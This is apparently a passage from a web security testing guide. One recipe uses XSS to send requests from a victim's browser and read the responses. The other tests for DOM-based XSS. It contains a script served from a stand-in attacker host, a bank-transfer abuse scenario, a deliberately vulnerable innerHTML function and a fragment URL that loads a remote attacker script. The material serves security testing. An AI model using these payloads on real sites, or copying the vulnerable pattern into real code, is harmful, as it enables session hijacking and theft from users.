1. Making HTTP Requests Using XSS
1.1. Problem
One of the most powerful tools available to an attacker building an
XSS exploit is being able to generate requests to the target website
from the victim’s browser and being able to read the responses. This
recipe will discuss how you can use JavaScript to make requests to the
target website from the victim’s browser.
1.2. Solution
Create a JavaScript file containing the script in Example 1 and make it accessible
at http://attacker.example.org/make_http_request.js
(wherever your attack server is), and then insert it into the vulnerable
page using the technique described in Example 3.
Example 1. JavaScript for making HTTP request
var xmlhttpreq;
if(window.XMLHttpRequest){ /* Most browsers use a XMLHttpRequest object for making AJAX Requests */ xmlhttpreq=new XMLHttpRequest(); } else if(window.ActiveXObject){ /* Internet Explorer uses ActiveXObject for making AJAX Requests */ xmlhttpreq=new ActiveXObject("Microsoft.XMLHTTP"); }
xmlhttpreq.open("GET","http://www.example.com/do_something",false);
if (window.XMLHttpRequest) { xmlhttpreq.send(null); } else { xmlhttpreq.send(); }
/* The server's response is stored in the variable 'response' */ var response = xmlhttpreq.responseText;
|
1.3. Discussion
Example 1 will submit
a request to the target website from the victim’s browser, and the
response will be stored in the variable response where it can be parsed using
JavaScript and the information contained in it can either be sent to the
attacker as in the previous two recipes or used in subsequent requests
made to the target website. For example, if an attacker finds an XSS
vulnerability in an online banking website, the attacker could write
JavaScript code to submit a request to the site, parse the account
numbers from the response, and use them to initiate a transfer to the
attacker’s bank account.
This attack works because the victim’s browser submits the user’s
session cookie to the vulnerable website along with each request to the
website. The vulnerable website authenticates each request by verifying
the user’s session cookie and cannot differentiate between requests
initiated by the legitimate user and requests generated using the
attacker’s JavaScript code.
This attack only works when the target website is vulnerable to
XSS. Although it is possible to submit requests to any website via CSRF
attacks , reading the server’s responses
and leveraging the information in the responses is only possible when
the target is vulnerable to XSS. This is because web browsers enforce a
“same origin policy” that only allows AJAX requests to be made to the website
that the user is visiting. Using this technique, the attacker’s script
can mimic any actions that the legitimate user can perform.
2. Attempting DOM-Based XSS Interactively
2.1. Problem
DOM-based cross-site scripting involves client-side JavaScript code outputting untrusted
data without filtering or encoding. It is very important for testers to
be aware of this type of cross-site scripting because many traditional
methods of finding XSS vulnerabilities do not detect certain types of
DOM-based XSS.
2.2. Solution
To test for DOM-based cross-site scripting, it is best to use
Internet Explorer.
There is another
important test for DOM-based XSS. When you suspect that parts of the URL
are being handled by client-side JavaScript code and are being output to
the user, inject XSS test strings into those parts of the URL. For
instance, if URL fragments are used to filter information to be
displayed to the user, and the fragment value is displayed to the user,
then a URL such as the one shown in Example 2 will demonstrate a DOM-based XSS
issue.
Example 2. Sample test input for finding DOM-based XSS
http://www.example.com/display.pl#<script>alert('XSS')</script>
|
As with other similar XSS tests, the application fails (i.e., is
vulnerable) if you see an alert box.
2.3. Discussion
These involve sending
malicious data to a vulnerable server that then either reflects it back
to the browser immediately or stores it somewhere where it is retrieved
later. Although DOM-based XSS is not as common as the other two types of
XSS yet, it is an additional type of XSS that needs to be tested
for.
DOM-based XSS is fundamentally different from reflected XSS and
stored XSS because it does not require client-server interaction. The
vulnerability occurs when client-side JavaScript handles user input and
displays it to the user without encoding or filtering. The systematic
methods of finding cross-site scripting do not detect DOM-based
XSS because they check the server’s response for the injected strings,
but in this case, the server-side code may not necessarily be vulnerable
to XSS.
Example 3 shows a somewhat
unrealistic JavaScript function that is vulnerable to DOM-based
cross-site scripting.
Example 3. Example of DOM-based XSS vulnerability
<script> function displayFragment() { Fragment = document.createElement("div"); Fragment.innerHTML = "<h2>" + location.hash.substring(1) + "</h2>"; /* ... */ document.getElementsByTagName("body").item(0).appendChild(Fragment); } </script>
|
Here, location.hash returns
the fragment identifier in the URL (plus the # symbol). The substring(1) strips off the first character.
Thus, if the attacker crafts a link such as the one shown in Example 4, the attacker’s script will
be executed by the victim’s browser, and there will be no indication of
an attack on the server side.
Example 4. Sample URL for exploiting DOM-based XSS
http://www.example.com/display#<script src='http://attacker.example.org/xss.js'></script>
|
Testing for DOM-based XSS requires dynamic analysis of client-side
JavaScript, and one way to perform this is by interactive testing using
a web browser. It is best to use Internet Explorer for this testing
because some browsers such as Mozilla Firefox automatically encode
characters such as < and > in URLs to %3C and %3E. Thus, unless the JavaScript performs URL
decoding, the exploit may not work in such browsers.
Note that the typical interactive methods of finding XSS issues
can also find some DOM-based XSS issues. With DOM-based cross-site
scripting, it is important to test input that may only be handled on the
client side (e.g., URL fragments). Testing only the client-server
interaction is insufficient.
DOM-based XSS is one reason why application firewalls and
intrusion detection systems are not completely effective at protecting
applications from XSS issues.Most browsers do not send URL
fragments to the server. In this example, the server would only see a
request for http://www.example.com/display.pl and there
will be no evidence of attack on the server side.